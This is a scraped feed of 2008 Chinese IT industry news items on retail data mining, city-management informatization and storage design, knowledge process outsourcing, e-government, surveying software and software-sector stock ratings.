<description>零售业信息化在经历了初级阶段的大量上马IT系统后，开始面临着一次重大的转型。 在第四届中国零售业CIO高峰论坛上，来自中国知名零售企业的老总、CIO及零售业IT解决方案的提供商们共同聚首星城长沙，探讨中国零售业信息化建设的下一步走向。 “中国零售企业 </description>
<text>&amp;nbsp;&amp;nbsp;&amp;nbsp; 零售业信息化在经历了初级阶段的大量上马IT系统后，开始面临着一次重大的转型。&amp;nbsp;　　在第四届中国零售业CIO高峰论坛上，来自中国知名零售企业的老总、CIO及零售业IT解决方案的提供商们共同聚首星城长沙，探讨中国零售业信息化建设的下一步走向。&amp;nbsp;　　“中国零售企业正在通过各种途径全方位提升自身的竞争力。而不断挖掘信息价值，是现阶段零售企业信息化建设的核心。”德利多富零售业总经理杨德宏在会上提出如此观点，得到大家的一致认可。&amp;nbsp;　　零售业尚未发挥IT价值&amp;nbsp;　　过去的十几年，中国零售企业在信息化建设中尝到了甜头，企业经营管理、流程及效益都得到很大提升，已成为企业发展中不可或缺的关键。“零售业在做强的过程中，信息化起到了至关重要的作用。”中国连锁经营协会会长郭戈平在会上表示。&amp;nbsp;　　但是，一个客观事实是，信息化的价值却没有完全凸显，信息化的建设也没有全力推进零售企业的发展。苏宁电器总裁孙为民在会上指出，没有哪一家零售企业的信息化目前是完全成功的。CIO们天天都在努力，但就是感觉不成功。&amp;nbsp;　　某连锁企业的CEO说：“我们收到的供货商订单中，总有10%是错的。”&amp;nbsp;　　某家电连锁企业的CEO说：“每天有几十万张顾客订单，但总有20%不能按时交付。”&amp;nbsp;　　某零售企业的CIO也不解：“为什么有的顾客从一周来一次最后变成3个月来一次？为什么有些顾客突然就流失了？　　困扰着零售企业老总和CIO的大问题&amp;nbsp;　　为什么？这正是困扰着零售企业老总和CIO的大问题。&amp;nbsp;　　在第四届中国零售业CIO高峰论坛上，专家们认为，这一切都是缘于零售企业不能有效地进行过程管理及精确的营销数据分析。而这对于零售企业的未来发展尤为重要，中国零售企业的信息化已进入挖掘价值的时代。&amp;nbsp;　　专家指出，如果说科学决策是企业发展的高级境界，那么数据挖掘则是目前企业信息化的高级境界。从数据中寻找知识和思想、挖掘财富、发现决策依据，这些正是数据挖掘对企业的直接贡献，也是企业信息化的重要体现。&amp;nbsp;　　但是，“国内大多数零售企业无论是选址还是新品进店，都是在没有充分信息依据的情况下做出决策的，显然，零售企业并没有更深层次地去挖掘IT系统的应用价值。”杨德宏表示，从消费者那里得到的任何数据，都是企业的资源与资本，而目前零售企业的系统中，对采集到的数据进行消费者研究的功能很少，这些亟需零售企业在信息化过程中弥补和完善。&amp;nbsp;　　据了解，许多零售企业直到今天还仅仅是将POS机作为一般的收款结账设备来使用，却不知道，它获取的相关销售数据，可以帮助零售商去控制库存、降低库存风险等。这些原本可以创造更大价值的方面，被零售企业轻易地忽略掉了。而据中国零售业IT投入评估报告显示，我国零售企业目前IT系统发挥的效用还不到10%。与国外相比，国内零售企业的信息化应用大多还处于初级阶段，小型、孤立的系统较多，虽然各种系统的应用数量比较多，但高水平的应用比较少。&amp;nbsp;　　数据挖掘提升效益&amp;nbsp;　　“以前百货企业崇尚商品第一，但现在正转向客户第一。”北京翠微大厦CIO高光敏在会上强调了客户对于零售企业的重要性，并认为只有通过信息系统的数据分析，才可以更全面地了解并服务好客户。&amp;nbsp;　　专家分析指出，从零售业的现状来说，企业迫切需要分析消费者的消费习惯，应该通过深入的数据分析来了解自己的消费群体。而从信息化建设来说，应该推进信息化应用向深度发展，把企业内部原来分散的小系统整合到一起，组建更大、更完整的系统，进一步挖掘数据管理、系统管理的深度，使系统为企业创造更大的效益。&amp;nbsp;　　零售商可以利用数据挖掘技术分析消费者的购物模式，对将来的趋势和行为进行预测，支持企业的决策，比如，经过对整个公司数据库系统的分析，数据挖掘工具可以回答诸如“哪个客户对我们的促销活动最有可能做出反应，为什么?”等类似的问题。将其运用到客户关系管理中，就能在海量的客户数据库中，将看似无关联的数据进行筛选、净化，提取出有价值的客户关系，对客户需求做出恰当的回应，并预测需求趋势。&amp;nbsp;　　某个店某天某一时段是做正常销售还是做促销？促销时间多长为准？门店主要顾客群的男女比例、大约年龄、收入水平等是多少？这个门店周围商圈的面积多大？消费人群处于什么层面……这些对零售企业而言至关重要的信息，通过数据挖掘工具，将可以获得。&amp;nbsp;　　山东家家悦信息总监唐心社认为，中国连锁企业必须突破技术瓶颈才能跃上新的管理平台，而以数据挖掘为主要技术手段的商业智能会是一个解决问题的办法。零售企业要做的，不仅是研究顾客的需求，而且要做到研究顾客的行为和心理。&amp;nbsp;　　据了解，一些零售企业已经在数据挖掘方面做尝试，他们不再仅仅用信息化来掌握销售信息，进行库存管理和供应商关系管理，而是进入了尝试用信息化进行营销的更高阶段。高光敏表示，翠微大厦目前拥有各种VIP会员卡几十万张，利用这些海量且有效的信息，有针对性地开展客户关系管理，通过各系统整合，开发了一般性报表、数据挖掘、数据模型以及各种图形分析，每次营销活动，根据分析的信息来确定营销范围、力度以及时间，用最少的营销成本创造了最佳的经济效益。&amp;nbsp;　　国外很多大型的零售商也都采用了数据挖掘工具来进行决策分析，如沃尔玛就采用了BO的方案，而国内的一些大型零售商业也有所行动。但是，目前，仅有少数一些零售企业的信息化已发展到以营销和顾客为中心的阶段，并开发出了一些像优惠券和积分卡的应用。而即便开展了这一分析的零售企业，大多数消费者还仅仅只是把积分卡当作另一种形式的礼券来使用，积分卡也没有记录消费者的详细信息，很难做进一步的深入挖掘和分析，了解消费者的消费习惯。&amp;nbsp;　　而且，IT供应商提供的信息化解决方案，也很难满足零售企业在数据挖掘方面的需求。据了解，目前一些数据挖掘工具完全是针对营销人员设计的，其中的模型如：客户价值评估模型、市场细分与客户分组模型、客户相应模型、交叉销售模型等。零售商普遍期望能有针对其自身特点的数据挖掘工具。　　IT商该去零售店“打打工”&amp;nbsp;　　一方面是零售商亟需提升信息系统，一方面是IT供应商鼓吹自己的信息系统可以解决一切问题。但是，零售商们并不买账，与IT供应商之间并没有达到完美合作的程度，双方存在着很深的“隔阂”。这种由于双方位置不同、利益不同而导致几近天然的“隔阂”在第四届中国零售业CIO峰会上也显露出来。&amp;nbsp;　　截至目前，唐山华盛超市已经更换了三次信息系统了，而现在用的信息系统，仍然达不到企业发展的要求。“我们还想换。”唐山华盛超市有限公司资讯技术部主任丁健勇在峰会上无奈地表示，每换一次系统就相当于脱两层皮。但是，目前的信息系统仍然不尽如意，“国内的IT软件大同小异，而且，很多并不能最大程度地支持企业的发展。”&amp;nbsp;　　零售商的苦恼是，IT供应商提供的信息系统，很多方面都与企业的实际情况脱节，因此造成要么是无法全面使用，要么是有用的信息数据无法获取。这时候，企业的信息化建设和CIO的角色就一起进入了一种“尴尬”的境地。&amp;nbsp;　　唐心社甚至指出，信息软件与零售企业发展需求存在矛盾。国内软件企业也应有不怕输的精神，中国的零售企业已经敢于直面外资竞争，并且成绩还不错，什么时候中国的软件企业也能做到这样？&amp;nbsp;　　正因为IT供应商无法提供一个完美的解决方案，家家悦走的是联合开发的路子，即把企业的需求告诉软件企业，量身订做，最后再在应用中逐步改善。&amp;nbsp;　　对于湖南友谊阿波罗股份有限公司CIO夏剑彪来说，他更关心的是，上马了这么多年的信息系统，仍然面临着许多的挑战，比如，如何利用信息系统的数据分析，获得更多的好产品、好服务及竞争力更强的价格等价值？如何将原有以营运、财务为中心的内部信息系统，转向以客户为中心的信息系统？如何改造内部的信息系统，使原来主要面向公司部门协同操作的信息系统，现在可以直接面向客户？如何进一步进行信息挖掘，提升客户价值？友阿有百货和大卖场两种业态，夏剑彪还想知道，有没有信息系统可以让两种业态的数据、报表及其他分析，都能交叉统一起来？这些，IT供应商目前似乎还给不了他一个圆满的答案。&amp;nbsp;　　此外，连锁企业需要运用各种技术手段或市场调查工具获得每个门店商圈基本细节的信息，还要分析出消费者的行为、购买特点，同时考察消费者的购买特点怎样和自己店铺的消费商品结构匹配，并调整商品、进行商品整合，以及追踪调查售后情况。尽管IT供应商宣称自己的软件可以满足这些要求，然而，实施起来，往往是另一回事。&amp;nbsp;　　因此，唐心社提倡，IT供应商应该放下身段，去全面地了解零售商的需求，“我们都在超市打工，你们为什么不能来我们的超市打打工，了解了解我们的真实情况和实际需要呢？”他对着台下的众多IT供应商建议道。&amp;nbsp;　　有一个故事，也许更能说明数据挖掘和精确营销对于零售企业的重要作用：&amp;nbsp;　　1968年，美国在越战时炸清化大桥，先后出动了600多架飞机。&amp;nbsp;　　1991年，美国在海湾战争中空袭伊拉克一座水电站，只用了两枚导弹。美国国防部一位官员说，我们之所以能够精确打击我们的敌人，全靠我们的GPS导航系统。&amp;nbsp;　　因此，在零售企业的信息化建设中，“真正的价值，并不是拥有不菲的IT设备和系统，而是利用这些设备和系统采集到的信息，支持企业决策，加强企业运营管理，使零售企业能更加健康的发展，创造更多的利润，并最终推动零售行业的信息化建设。”杨德宏说。&amp;nbsp;　　郭戈平在会上也指出，零售业在做强的过程中，信息化起到了至关重要的作用。但是，在信息化建设过程中不要盲目跟风，选择适宜企业自身状况的信息技术才是解决之道。　 </text>
<image> </image>
<keywords>零售,企业,信息化,转型,进入,挖掘, </keywords>
<category>行业动态 </category>
<author>软件设计 </author>
<source>软件开发公司 </source>
<pubDate>2008-04-21 00:00 </pubDate>
</item>
<item>
<title>城市管理信息化已成当前城市建设工作重点 </title>
<link>http://www.youjoys.cn/news/itnews/20110724/30.html </link>
<description>如今，“城市管理信息化”已经成为当前城市管理和建设的重点，这项工程的启动，不仅加快了信息化网络进程，更为广大的解决方案供应商提供了新的机会。正如浪潮存储产品经理王永海所言：“通过信息化管理，可以极大地提高城市管理的效率，使庞大复杂的城市管 </description>
<text>&amp;nbsp;&amp;nbsp;&amp;nbsp; 如今，“城市管理信息化”已经成为当前城市管理和建设的重点，这项工程的启动，不仅加快了信息化网络进程，更为广大的解决方案供应商提供了新的机会。正如浪潮存储产品经理王永海所言：“通过信息化管理，可以极大地提高城市管理的效率，使庞大复杂的城市管理工作变得更加快捷和精准。今后随着城市建设的日渐成熟，高效科学管理城市的重要性必然凸显，因此数字化城市管理的重要性也将越来越突出。在这一热门商机之下，谁能够掌握城市管理信息化的需求，提供适合这一市场的解决方案，谁便能够抓住机会，赢得客户。”&amp;nbsp;　　城市建设要求苛刻&amp;nbsp;　　不同于电子政务网络管理建设，城市信息化建设有着自己独特的特点，那就是数据存储量大，对于各种复杂的应用整合度高。为此，记者采访到了河北省廊坊市城市管理综合执法局局长王凯军。据他介绍：“廊坊市是河北省第一个进入城市管理信息化的城市。于去年12月17日，正式开通了数字化城市管理系统。覆盖了中心城市60平方公里和开发区建成区域20平方公里，包括公园、马路等72600个监管单元以及50大类违规性及突发性事件的检测。在这一数字城管系统之上，整合了政府信息资源、公安交警视频、‘12319’城建热线、规划航拍数据、国土资源基础数据等公共资源。”&amp;nbsp;　　从王凯军的叙述中，我们不难想象，要满足这样复杂的需求，信息系统将会是怎样的复杂。这不仅对其信息系统本身提出了更高的要求，同时也对作为数据存储及管理核心的系统提出了很高的要求。“由于城管的流程包括信息收集、案卷建立、任务派遣、任务处理及反馈、案件核查和案件结案等6个环节。而城管监督员在巡查过程中，将发现的城市管理中的各种信息(问题)，通过手持移动终端‘城管通’实时上报到监督中心，监督中心登记受理后派送到指挥中心，指挥中心分别指挥相应层次的城管责任部门进行处理，并对处理情况进行督办。处理结果再反馈到指挥中心、监督中心，由监督员对处理情况进行现场核查，核查无误后结案。”王凯军说。&amp;nbsp;　　其实，从廊坊市城管在城市信息化建设过程中的流程，我们便可以清楚地看出城市信息化建设其容量以及管理上的运行特点。在采访中，北京扬帆伟业科技有限公司总经理闫春清告诉记者：“城市信息化系统工程自身的特点非常突出，其内部信息系统不仅要覆盖中心城区，还要覆盖到周边开发区以及相应开发地，包括公园、马路等监管单元，和多种违规性及突发性事件的监测。因此，这一系统承受的存储信息容量相对较大。另一方面，从应用端来考虑，很容易看出城市管理的一个重要特点就是信息系统是居民出行、投诉举报及处理各种突发事件的参照与求助中心。这种特殊的职能，为该系统的无故障安全运行提出了近乎苛刻的要求。”&amp;nbsp;　　集中存储有绝招&amp;nbsp;　　从前面的分析我们可以清晰的看出，城市管理信息化系统对于存储、网络设备以及应用系统有着共同的需求，那就是要求“存储系统和前端应用系统的无缝结合，实现数据的共享”。而这一要求与王永海提出的系统设计思路--集中存储不谋而合。&amp;nbsp;　　基于上述城管信息化的特殊需求，王永海提出了以核心存储系统为基础，整合原有存储设备，构建SAN以实现数据集中存储的解决方案。在实际应用中，王凯军介绍：“根据廊坊城管现有的需求以及预算实力，我们采用了基于4Gb光纤技术的AS1000存储系统能够作为主存储设备，用以存放核心数据。存储系统通过两台光纤交换机和前端的存储设备相连接。这样在没有增加额外成本的基础上，可以大幅度增加数据存储的可靠性和安全性”。&amp;nbsp;　　值得注意的是，在采访中，很多解决方案供应商也反映，数字城市建设面临的一大问题就是资金上的不断投入和浪费。其中，北京东华合创数码科技股份有限公司总裁薛向东认为：“在城市管理应用项目中，进行复杂的系统解决方案建设，需要不断地投入、改进、协调，整个系统需要很多部门的联动。在这种情况下，对城市管理系统设施的增置和升级，往往需要废置一些设置，并且再次投入大量的资金。这就需要解决方案供应商提供的信息解决方案中一定要以节省后期扩展的投入成本作为一个基础出发点。”&amp;nbsp;　　高效应用有方案&amp;nbsp;　　基于城管系统对于信息反馈高效率的要求，薛向东告诉记者，他们曾经在一些政府复杂系统的实际方案操作中对整个城市管理系统及相应设备采用了统一管理、容量动态分配的方式。对于解决方案提供商这样的做法，王永海也表示了肯定，他说：“实现这一方案，可以利用前端服务器通过光纤交换机统一链接到SAN系统中，完成服务器对存储的访问连接。”&amp;nbsp;　　“同时可以通过相应的软件对服务器、存储以及整个网络加以管理，包括可时时了解设备的运行状态，连接情况等。并对存储空间统一划分，将其有条理的分配给应用系统。针对数据的重要性和对访问性能要求的不同，把数据存放在不同的磁盘中，对数据进行分级存储，以实现数据的集中存储、分类放置，并且保证数据的高效利用。这样不仅可以提高存储设备的利用率，而且还能减少维护和使用的成本。”王永海说，“由于城市信息系统是居民出行、投诉举报以及处理各种突发事件的参照与求助中心。这种特殊的职能为该系统的无故障安全运行提出了近乎苛刻的要求。在这方面，我们的WEB服务器和数据服务器等关键部件及关键路径均采用了冗余设计。”&amp;nbsp;　　对此应用方案的设计，得到了解决方案提供商的认同，其中，闫春清解释说：“这样的设计方案多是在前端3台WEB服务器通过1台负载均衡器链接到系统核心网络，实现客户端对WEB应用的访问。负载均衡器实现了WEB应用的高性能和高安全，网络访问流量经过负载均衡器平均分配到3台WEB服务器上，保证了数据访问的连续、高效，在1台WEB服务器出现故障的情况下，还能保证网络访问的连续性。WEB服务器通过光纤交换机和AS1000进行连接。此外，两台数据库服务器通过双机软件构建双机系统，在一台数据库服务器出现故障的情况下，另一台数据库服务器可以接管主服务器的应用，实现数据库应用的连续性，两台数据服务器分别和两台光纤交换机连接，实现存储路径冗余，进一步提升了数据存储的可靠性。”&amp;nbsp;　 </text>
<image> </image>
<keywords>城市,管理,信息化,已成,当前,城市建设, </keywords>
<category>行业动态 </category>
<author>软件设计 </author>
<source>软件开发公司 </source>
<pubDate>2008-04-03 00:00 </pubDate>
</item>
<item>
<title>知识流程外包逐渐成为主流外包选择之一 </title>
<link>http://www.youjoys.cn/news/itnews/20110724/31.html </link>
<description>知识流程外包(KnowledgeProcessOutsourcing,KPO)时代已经来临，毕马威(KPMG)最新的一份研究报告称仅就金融服务领域而言，KPO服务的市场规模预计在2010年将达到50亿美元。 专业服务机构KPMG国际预计KPO—被视为第三代外包流程—现在开始正逐渐成为现实的、主 </description>
<text>&amp;nbsp;&amp;nbsp;&amp;nbsp; 知识流程外包(Knowledge&amp;nbsp;Process&amp;nbsp;Outsourcing,&amp;nbsp;KPO)时代已经来临，毕马威(KPMG)最新的一份研究报告称仅就金融服务领域而言，KPO服务的市场规模预计在2010年将达到50亿美元。&amp;nbsp;　　专业服务机构KPMG国际预计KPO—被视为第三代外包流程—现在开始正逐渐成为现实的、主流的外包选择之一。&amp;nbsp;　　与之前其他的外包方式相比，KPO最具吸引力的地方在于知识套利，涉及外包更高技能的流程，而不是在于降低成本的潜力。在金融领域，KPO已经被用于处理信用评分，损失抑减估算和欺诈分析等工作。&amp;nbsp;　　KPMG在本月孟买召开的NASSCOM外包产业大会上发布的白皮书(&amp;nbsp;this&amp;nbsp;White&amp;nbsp;Paper&amp;nbsp;)，包含了对KPO在这一市场的潜力分析的所有观点。&amp;nbsp;埃琪&amp;nbsp;泽里拉(Edge&amp;nbsp;Zarrella)，KPMG全球IT咨询部负责人，在发布会上表示：“几年前，谈论KPO看起来还是很遥远的事情，特别是那时候很多公司还挣扎于如何与前两种形式的外包的结果达成妥协。现在，取决于你相信谁的数据，KPO的市场规模将在两年的时间内达到100亿到170亿美元。我们的研究显示到时KPO仅在金融领域的市场规模就将达到50亿美元。KPO现在可能还只占整个外包市场很小的比例，但金融业证明了它的潜力，我认为所有这些数字都还将保持指数级增长。”&amp;nbsp;　　为了更好地解释KPO，泽里拉举了个例子。假设一家华尔街的证券研究公司要接手一个项目，他们需要花费&amp;nbsp;25万美元去研究一支股票，而这个项目的预期收入只有20万美元。然而，如果这项研究可以以10万美元的价格外包给KPO供应商，这桩交易就立刻变成了可以赢利的项目。利润提升的同时，公司内部的分析师的时间就可以解放出来用于更高价值的工作。&amp;nbsp;　　基于这种理念，KPMG的研究报告称几年前还只是白日梦的概念现在已经变成非常现实的外包选择—代表着外包的第三个时代。外包自20世纪80年代的IT外包(IT&amp;nbsp;Outsourcing，&amp;nbsp;ITO)&amp;nbsp;开始，当时的策略是将IT系统的维护、开发和应用外包给第三方来实施。到了20世纪90年代，接着出现的是业务流程外包(Business&amp;nbsp;Process&amp;nbsp;Outsourcing,&amp;nbsp;BPO)，关注于相对基础和标准化的流程外包。　　KPMG资源咨询服务部全球负责人普拉蒂普&amp;nbsp;阿德哈斯(Pradeep&amp;nbsp;Udhas)，指出“KPO令人惊讶的一个方面在于它关注于高端的业务，而这些业务传统上被认为是企业竞争优势的一部分。在这一点上，它标志着外包产业又向前了一大步，从业务的外围业务发展到了非常核心的业务。可见，可能性是无限的。”&amp;nbsp;　　可能性也许是无限的，但是—对于任何没有经验的公司而言—初期的各种问题始终存在。首先，短期而言，考虑到KPO供应商集中在印度，美元对卢比的汇率持续走低将会削弱印度这个产业的竞争力。从长远来看，KPO供应商在法务和合规部门的明显缺陷—这意味着知识产权保护方面的风险—以及未来对优秀人才的争夺升级将是企业最大的担忧。KPO涉及的人员都是高端的专业技术人员，这意味着对于KPO供应商而言，不存在像BPO或者ITO产业那样的大规模的人才库。因此，KPO供应商将很快必须采纳招聘和保留人才的策略，这反映了这个产业对专业和技术的要求。&amp;nbsp;　　关于知识产权的担忧在短时期内不会完全解决。相关的部门――特别是那些涉及内部交易，冲突管理和专业责任险的部门――通常非常缺乏资源或者没有被赋予适当的权力，这一问题在第三方供应商中尤为严重。这是KPO未来发展和发挥潜力的主要障碍。&amp;nbsp;　　　如果-或者说当-KPO能完全实现其潜在效益，埃琪&amp;nbsp;泽里拉(Edge&amp;nbsp;Zarrella)预计，印度不会是唯一的玩家。他解释说，“印度至今是这一领域最主要的力量，但其他国家比如加拿大，澳大利亚，新加坡，南非和英国的部分地区也开始参与到竞争之中了。美元对卢比的汇率走低也许会在一定程度上对这些国家产生帮助，但选择KPO的地点的关键因素还将会是有经验和高质量的人才供应情况。没有这些人才，也就无法进行KPO。这样的人才――在合适的地点――将会是企业争夺的重点。”　 </text>
<image> </image>
<keywords>知识,流程,外包,逐渐,成为,主流, </keywords>
<category>行业动态 </category>
<author>软件设计 </author>
<source>软件开发公司 </source>
<pubDate>2008-04-03 00:00 </pubDate>
</item>
<item>
<title>提高信息化组织能力加快电子政务标准建设 </title>
<link>http://www.youjoys.cn/news/itnews/20110724/27.html </link>
<description>［现状］电子政务系统只用于文件传输 建好了网站，内容却可能几年不更新。费大力气建好了电子政务系统，却只用于低水平的文件传输，没有真正实现办公自动化，更无从谈起对民众的服务。网站政务信息公开的程度不高，除人事任免公开较好外，其他深度政务信息， </description>
<text>&amp;nbsp;&amp;nbsp;&amp;nbsp; ［现状］电子政务系统只用于文件传输&amp;nbsp;　　建好了网站，内容却可能几年不更新。费大力气建好了电子政务系统，却只用于低水平的文件传输，没有真正实现办公自动化，更无从谈起对民众的服务。网站政务信息公开的程度不高，除人事任免公开较好外，其他深度政务信息，如计划规划、财政、采购等都少有发布。在系统建设上条块分割，各部门自行开发自己的系统，缺乏标准化、规范化和兼容性，信息资源难以共享，出现了一个个“信息孤岛”。“重电子、轻应用”、“重硬件、轻软件”成为我国在建设电子政务中的通病。&amp;nbsp;　　［建议］有法可依　培养电子政务意识&amp;nbsp;　　民革中央建议，尽早出台电子政务法规，保障政务信息公开、资源共享“有法可依”。提高信息化主管部门组织协调能力，加快电子政务标准建设；建立统一的电子政务外网平台，有效整合利用现有资源，实现部门间的互联互通和政务信息的共享；着力营造电子政务的浓郁氛围，利用电视、广播、网络等资源加强电子政务的宣传，增强全体公务员，尤其是领导干部的电子政务意识；加强对公务员队伍的培训工作，培养公务员利用电子政务办公的能力和习惯，从而在思想上接受电子政务，并从制度上强化公务员使用电子政务办公的能力和水平。　 </text>
<image> </image>
<keywords>提高,信息化,组织,能力,加快,电子政务, </keywords>
<category>行业动态 </category>
<author>软件设计 </author>
<source>软件开发公司 </source>
<pubDate>2008-03-17 00:00 </pubDate>
</item>
<item>
<title>我自主开发测绘软件量年增25% </title>
<link>http://www.youjoys.cn/news/itnews/20110724/23.html </link>
<description>国家测绘局日前发布消息称，2007年，测绘系统坚持围绕中心、服务大局，积极为社会主义新农村建设、全国第二次土地调查、主体功能区规划、公共安全管理、水利交通建设、城市规划设计、生态环境保护、防灾减灾、国防建设和科学研究等做好测绘保障，主动为边界 </description>
<text>&amp;nbsp;&amp;nbsp;&amp;nbsp; 国家测绘局日前发布消息称，2007年，测绘系统坚持围绕中心、服务大局，积极为社会主义新农村建设、全国第二次土地调查、主体功能区规划、公共安全管理、水利交通建设、城市规划设计、生态环境保护、防灾减灾、国防建设和科学研究等做好测绘保障，主动为边界勘界、长城保护、极地科考、北京奥运会、反恐维稳等提供测绘服务，取得可喜成绩，测绘事业正朝着又好又快的方向稳步推进。自主开发软件和地理信息应用系统数百项，同比增长25%%。&amp;nbsp;　　2007年，基础测绘建设和测绘公益性保障服务成效显著，测绘服务总值再创新高。测图成图近60万幅，同比增长61%%，累计向国土资源、石油、交通、电力、航空航天、水利、环保、通讯、规划、煤炭、地震、军事、气象等20多个领域提供数字地图、地形图、大地测量成果、航空摄影资料等共计154万幅（点），其中大地测量成果和数字地图提供量同比增长约90%%；为近百项国家重大工程、两百余项地方重大工程提供了大量可靠、适用、及时的测绘成果和技术保障，服务总值同比增长13%%。&amp;nbsp;　　据悉，2007年，测绘系统按照服务社会、贴近民生的要求，积极为丰富人民群众物质文化生活提供了多层次、个性化的服务。累计出版发行地图、地图集、电子地图、互联网地图以及测绘图书共约2400种、1.5亿幅（册），较好满足了大中小学生读书学习、百姓出行旅游等的需要；地理信息产业快速发展，年产值已逾500亿元，有力带动了智能交通、现代物流、网络信息服务等现代服务业的发展。　 </text>
<image> </image>
<keywords>自主,开发,测绘,软件,量年,25%,国家, </keywords>
<category>行业动态 </category>
<author>软件设计 </author>
<source>软件开发公司 </source>
<pubDate>2008-02-29 00:00 </pubDate>
</item>
<item>
<title>计算机板块“外包”引领软件业高成长 </title>
<link>http://www.youjoys.cn/news/itnews/20110724/24.html </link>
<description>软件行业未来5年复合增长率将达17.2%，增长最快的是软件外包子行业，其次是管理软件和系统集成；而硬件行业未来5年增速只有9.3%。与此同时，当前硬件行业市盈率要高于软件行业。因此我们认为，软件行业存在较好的投资机会，而对硬件行业整体不看好。 软件强 </description>
<text>&amp;nbsp;&amp;nbsp;&amp;nbsp; 软件行业未来5年复合增长率将达17.2%，增长最快的是软件外包子行业，其次是管理软件和系统集成；而硬件行业未来5年增速只有9.3%。与此同时，当前硬件行业市盈率要高于软件行业。因此我们认为，软件行业存在较好的投资机会，而对硬件行业整体不看好。&amp;nbsp;　　软件强势增长　硬件增势平缓&amp;nbsp;　　计算机行业2006年市场规模达到5700亿元，未来5年将以平均15.3%的速度增长。其中，软件行业引领了整个行业的增长，2006年市场规模为665亿元，增长了17.8%，未来5年的复合增长率也将保持在17.2%的高水平。服务行业虽然达到25%左右的增长速度，但是行业规模仍然偏小，而且市场分散。硬件行业增速明显偏缓，只有11.5%。投资机会主要在软件行业。&amp;nbsp;　　在软件各子行业中，以软件外包增长空间最大，未来3年的复合增长率为39%，而且我们认为，其未来十年都可保持高增速，这就为相关企业的增长打开了空间。管理软件仍处于成长期，其最重要部分ERP软件未来3年增长速度为19.3%，较快速的增长再加上行业趋于寡头垄断，为领先企业创造了良好的利润提升空间。系统集成增长速度保持温和，未来3年约为16.0%，虽然行业内竞争激烈，但是管理严格、成本控制优秀的公司正在脱颖而出。&amp;nbsp;　　在通用硬件行业，台式机的市场销售额增长率正趋于停滞，笔记本电脑市场则保持20%以上的高增长。A股硬件上市公司在笔记本电脑市场均处于弱势，不能享受行业高增长的益处。专用硬件市场则保持了独特而较好的需求。&amp;nbsp;　　软件外包业　十年高成长&amp;nbsp;　　中国的软件和服务离岸外包市场在2006年增长率高达43%，但这还只是开始，中国的软件外包市场才进入成长早期。IDC预测，未来5年软件外包市场的复合增长率将接近40%。我们认为，未来10年中国软件外包市场将呈现高增长态势，市场规模在未来10年增长将超过10倍。&amp;nbsp;　　从国际比较看，中国具有一切成为软件外包大国的比较优势：低成本的技术人员、软件开发人员数量规模巨大、比其他国家更好的日语和较好的英语水平、政策的支持等。但是，中国在全球所占份额微不足道，只有印度的1/13，中国占美国发包市场的份额不到1/100。这意味着，中国软件外包业务发展空间巨大。&amp;nbsp;　　为什么中国在软件外包市场上远远落后于印度？因为起步晚。全球化的离岸软件外包市场起飞于上个世纪90年代，而那时中国软件、集成和硬件的内需非常强，软件企业效益好，导致国内软件企业全都专注于国内市场，错过了发展良机。2001年国内IT业转入低潮，企业间竞争激烈，利润空间被压缩，国内软件企业才开始注重外包市场。与中国相比，印度国内IT需求非常少，企业只能全力开发国际市场，国内所培养的软件人才大部分都从事于软件外包行业。印度正是抓住了这个机遇取得了绝对领先的成功。现在情况不同了，目前在中国，软件企业几乎都认为外包业务是最具利润增长潜力的领域。&amp;nbsp;　　离岸外包业务的需求方来自发达国家，多为大企业，也有中小公司。虽然在定价能力上需求方占有优势，但是需求方通常不过分压低价格，而是有意预留利润空间给供给方，因为需求方最为关注的是质量而非价格，能够把项目转包给中国开发就已经节省了很多成本。&amp;nbsp;　　软件和服务离岸外包业务的利润率并不会因为行业规模发展而减少。中国正在起步阶段，随着销售规模增加，企业将因进入规模经济而使销售利润率提升。从供需平衡看，供给不足将长期存在，项目利润率不会下降。从印度经验看，两家最大外包企业的销售利润率长期保持在较高水平。&amp;nbsp;　　在A股上市公司中，东软股份居于国内软件外包第一，主要是对日业务；浙大网新居于国内软件外包第7名，居于对美外包第一，同时经营对美、对日业务。东软股份盈利的75%来自于软件外包；浙大网新只有27%的盈利来自于外包业务，但是比重在迅速上升；海隆软件则只有软件外包一项业务，全部为对日业务；对于中国软件和恒生电子而言，软件外包占全部业务的比重还太低。&amp;nbsp;　　重点公司评级&amp;nbsp;　　与海外资本市场相比，国内软件和系统集成类上市公司的市盈率水平偏高，美国及印度资本市场软件行业的市盈率在18-24倍，而A股市场达到46倍。从全球看，IT行业、软件行业、硬件行业都保持着温和景气。美国资本市场标普-应用软件指数与标普500指数最近一年走势较为一致；硬件指数走势极为强劲，主要原因是笔记本电脑替代台式机趋势加速，导致产能紧张，而这一因素对于国内硬件上市公司不仅不是利好，而且属于利空因素，因为国内通用硬件类上市公司长于台式机而短于笔记本。&amp;nbsp;　　从市盈率比较看，2008年软件行业的预期市盈率将达33.0倍，高于沪深300的28.8倍；硬件行业2008年预期市盈率达到37.9倍，也高于沪深300，而且高出软件行业。考虑到2008年软件行业可有40%的业绩成长率，而硬件行业业绩增长率只有15%，我们认为，软件行业存在较好投资机会，而对硬件行业整体不看好。&amp;nbsp;　　在我们所做的PB对比ROE/Ke图中，海外上市公司的估值优势比较明显，包括SAP、ORACLE、联想。因为这只是静态比较，A股公司的增长优势不能体现。在A股公司中，石基信息、海隆软件估值偏高；亿阳信通和华胜天成虽然表现出较有优势的比值，但是我们看淡这两家公司的长期增长速度，所以也不予推荐。&amp;nbsp;　　在PE/EPS-CAGR对比图中，A股公司相比于海外同类上市公司虽然有更高的市盈率，同时也具有更高的增长率，两者的相对价值比较差异不明显。通过PE/EPS-CAGR对比图，A股计算机行业上市公司的相对价值呈现出有序的分布。&amp;nbsp;　　我们看好软件外包行业的东软股份与浙大网新，这两家公司分别为对日和对美软件外包的龙头企业，平衡其很高的市盈率和较高的业绩成长率，给予“谨慎推荐”的评级。&amp;nbsp;　　我们对管理软件行业的龙头公司用友软件给予“谨慎推荐”评级，其PEG高达2.1，是因为2007年公司投资收益过高导致未来两年净利润增长率偏低，如果我们剔出其投资收益，则PEG修正为1.7，具有投资吸引力。恒生电子最近两年的业绩增长率高，但是未来其业绩会受到证券业景气波动的影响。&amp;nbsp;　　我们十分看好系统集成行业的东华合创，给予“推荐”评级。公司未来两年的PEG只有1.0，而且公司具有长久的竞争力以提升业绩。华胜天成、亿阳信通在两年以后的后续成长潜力偏弱。&amp;nbsp;　　在硬件行业，我们看好同方股份、航天信息，未来两年这两家公司都具有良好的业绩成长性，但是更长时间的业绩增长仍不能确定，给予“谨慎推荐”评级。其他硬件公司的PEG都相对偏高。　 </text>
<image> </image>
<keywords>计算机,板块,外包,引领,软件业,高成长, </keywords>
